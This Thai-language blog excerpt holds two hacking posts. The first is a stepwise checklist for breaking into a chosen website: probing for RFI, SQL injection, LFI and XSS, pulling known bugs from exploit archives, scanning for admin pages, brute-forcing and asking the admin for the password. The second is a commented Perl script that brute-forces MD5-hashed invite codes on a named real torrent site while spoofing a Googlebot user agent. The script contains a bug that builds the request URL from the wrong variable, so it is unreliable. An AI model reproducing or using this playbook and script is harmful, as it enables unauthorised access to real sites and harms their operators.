Monday, April 7, 2008

ถ้าจะแฮคเว็บสักเว็บที่หมายตาไว้ จะต้องทำอย่างไร what when how why กรุณาตอบที

ไปเจอคำถาม มาว่า

ถ้าจะแฮคเว็บสักเว็บที่หมายตาไว้ จะต้องทำอย่างไร what when how why กรุณาตอบที

(อยู่หมวด vip คนทั่วไปเข้าไม่ได้)
แต่ผมตอบไปว่า

1. ดูว่า เวปที่ใช้ เขียนเองหรือ ใช้สคิปฟรี
1.1 ถ้าใช้สคิปฟรี ก็โหลดมาแงะ (rfi,sql,lfi,xss) หรือ หา bug สำเร็จรูปจาก milw0rm,google
1.1.1 ถ้าแงะแล้วมี bug ก็มุดรูนั้น
1.1.2 ถ้าไม่มี bug โดดไปวิธีที่ 2
1.2 ถ้าเขียนเอง ลอง แงะ จากหน้าเวป ทีละ page (rfi,sql,lfi,xss)
1.2.1 ถ้าแงะแล้วมี bug ก็มุดรูนั้น
1.2.2 ถ้าไม่มี bug โดดไปวิธีที่ 2

2. scan dir เวปนั้นเผื่อเจอ พวก หน้า แปลกๆ เช่น admin,login,phpmyadmin
2.1 ถ้าเจอก็แงะ (rfi,sql,lfi,xss)
2.1.1 ถ้าแงะแล้วมี bug ก็มุดรูนั้น
2.1.2 ถ้าไม่มี bug โดดไปวิธีที่ 3
2.2 ถ้าไม่เจอโดดไปวิธีที่ 3

3. scan ทั้ง host นั้นด้วยวิธีที่ 1 และ 2
3.1 ถ้าเจอก็แงะ
3.2 ถ้าไม่เจอโดดไปวิธีที่ 4

4. บรูทฟอส (ถ้าอยากได้จัดๆ)
4.1 ถ้าเหนื่อยแล้วยังไม่ได้ โดดไปวิธีที่ 5

5. email ไปขอ พาส จาก admin เวปนั้นๆ ;D




ปล. ข้อ 5 ทำง่ายสุด ... แต่ได้ผล ยากสุด ฮี้ๆ

Thursday, April 3, 2008

วิธี ปล้น invite เวปบิทแบบง่ายๆ (พอดีมีคนเค้าใช้ให้สอนเขียน perl)

จะว่ามันเป็น bug หรือปล่าว ผมว่ามันก็ไม่ใช่ bug หรอก
มันแค่ช่องโหว่ เล็กๆน้อยๆ ของ เลขที่ใช้ invite

หลักก็คือ invite มันดันเป็น hash ที่ ใช้ md5 เข้ารหัสของตัวเลข แค่ 4 หลัก
(md5 คือการเข้ารหัสอย่างหนึ่ง ที่มักใช้กัน[ยิ่งแกะยากถ้า ใช้หลายๆหลัก])

ยกตัวอย่าง link invite ของ sb คือ
http://sb.in.th/register.php?invitenumber=[hash]

เช่น link นี้
http://sb.in.th/register.php?invitenumber=ce5140df15d046a66883807d18d0264b
(ce5140df15d046a66883807d18d0264b hash นี้ เข้ารหัสมาจากเลข 1023)

ดังนั้น ขอเดาเลยว่า เลขมันต้องเป็น 0000 ถึง 9999 (1 หมื่น ตัว)
ถ้า นั่งมั่วมือ มันก็จะถึกไปหน่อย ดังนั้นเขียนเป็น perl ยิงไล่ เลยดีกว่า ง่ายดี

คำถาม คือ
Q: ทำให้ ให้เปิดเวป ได้ เพราะเราต้องเปิดหน้าเวป
http://sb.in.th/register.php?invitenumber=
A: ใช้ LWP::UserAgent หรือเขียนโดยใช้ IO::Socket (หากลง Activeperl มันจะมีอยู่แล้ว แต่ LWP สะดวกกว่าเยอะ)

Q: ทำไงจะเข้ารหัสเลข 0000 - 9999 เป็น MD5 ได้
A: มัน จะมี Packet สำเร็จรูป ชื่อ Digest::MD5 อยู่ (ต้องลงเพิ่ม หาเอาได้จาก Perl package manager)

เอาล่ะ เริ่มกันดีกว่า


use LWP::UserAgent; #เรียกใช้ LWP::UserAgent;
use Digest::MD5("md5_hex");# เรียกใช้ Digest::MD5 เฉพาะ sub md5_hex จะประกาศห้วนๆ use Digest::MD5; ก็ ได้เหมือนกัน

# เรียกใช้ packet สำเร็จรูปเสร็จทีนี้มาเริ่ม จาก ประกาศ browser ที่ใช้ ว่าใช้อะไรเปิดเวปกันก่อนแล้วกัน

my $browser = LWP::UserAgent->new(agent => 'Googlebot (Googlebot/2.1 +<a href="http://www.googlebot.com/bot.html">http://www.googlebot.com/bot.html</a>)');
# หลอกว่า ตูคือ google บอท (แต่จริงๆหลอกไม่ได้หรอก มันเป็นแค่เอาไว้บอกว่า ใช้ agent อะไรเข้าเวป )
# จะไม่ใส่ หรือ จะใส่ เหมือนคนจริงๆ เช่น Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1) ไปก็ได้ )
# กรณีไม่ประกาศใช้ จะใส่แค่นี้ก็ได้ (ถ้าไม่ใส่ ใน log จะขึ้น ว่า ใช้ libwww-perl เข้าไป)
# my $browser = LWP::UserAgent->new();
# นอกจาก agent แล้ว ยังมีให้ใช้อีกเยอะ (google ใส่ไปว่า perl lwp::agent แล้วอ่านเอา)
# ปล. ใช้อะไรก็ได้ ไม่ จำเป็นต้อง $browser นะ ( src ฝรั่งมักใช้ $ua )

my $target = 'http://sb.in.th/register.php?invitenumber='; # $target = ส่วน link ของเวปเป้าหมายที่เราจะ ถึก

foreach $i ( "0000" .. "9999" ){ # เขียน loop เพิ่มเริ่่มความถึก (ไล่เลข ตั้งแต่ 0000 ไปเรื่อยๆ จน 9999)
  my $hash = md5_hex($i); # แปลง เลขที่ได้ ไปเป็น md5 (ตอนนี้ค่า $hash ของเรา จะเป็น md5 ล่ะ)
  my $url = $url.$hash; #รวมมันไว้ด้วยกัน จะได้ ง่าย ตอน สั่งแสดงผล (จะไม่รวมก็ได้)
  my $response = $browser->get($url); # เริ่มการ เรียกหน้าเวปขึ้นมา
  if($response->is_success){ #ถ้าเปิดได้ ให้ทำตามเงื่อนไข ใน if
    my $x = $response->content;
    if($x =~ m!ยินดีต้อนรับ!){ # ถ้า hash ตรง จะมี คำว่ายินดีต้อนรับ ในหน้าเวป (ตรงนี้อ่าน regex เพิ่มเอา ไม่งั้นสอนกันยาว - -)
      print "[+] Found hash !!\n";
      print "[+] URL = $url\n";
    }
  }else{
    print "Connection error.\n";
  }
}

สรุปว่า เขียนราวๆ เนี้ย อ่ะ (จบแบบขี้เกียจพิมพ์ 555+)
ใครอยากให้มันเขียน file เก็บไว้ เป็น txt ก็ใช้ funtion OPEN เอาแล้วกัน
Why You Don't LIKE My FaceBook Fanpage ?
×
blogger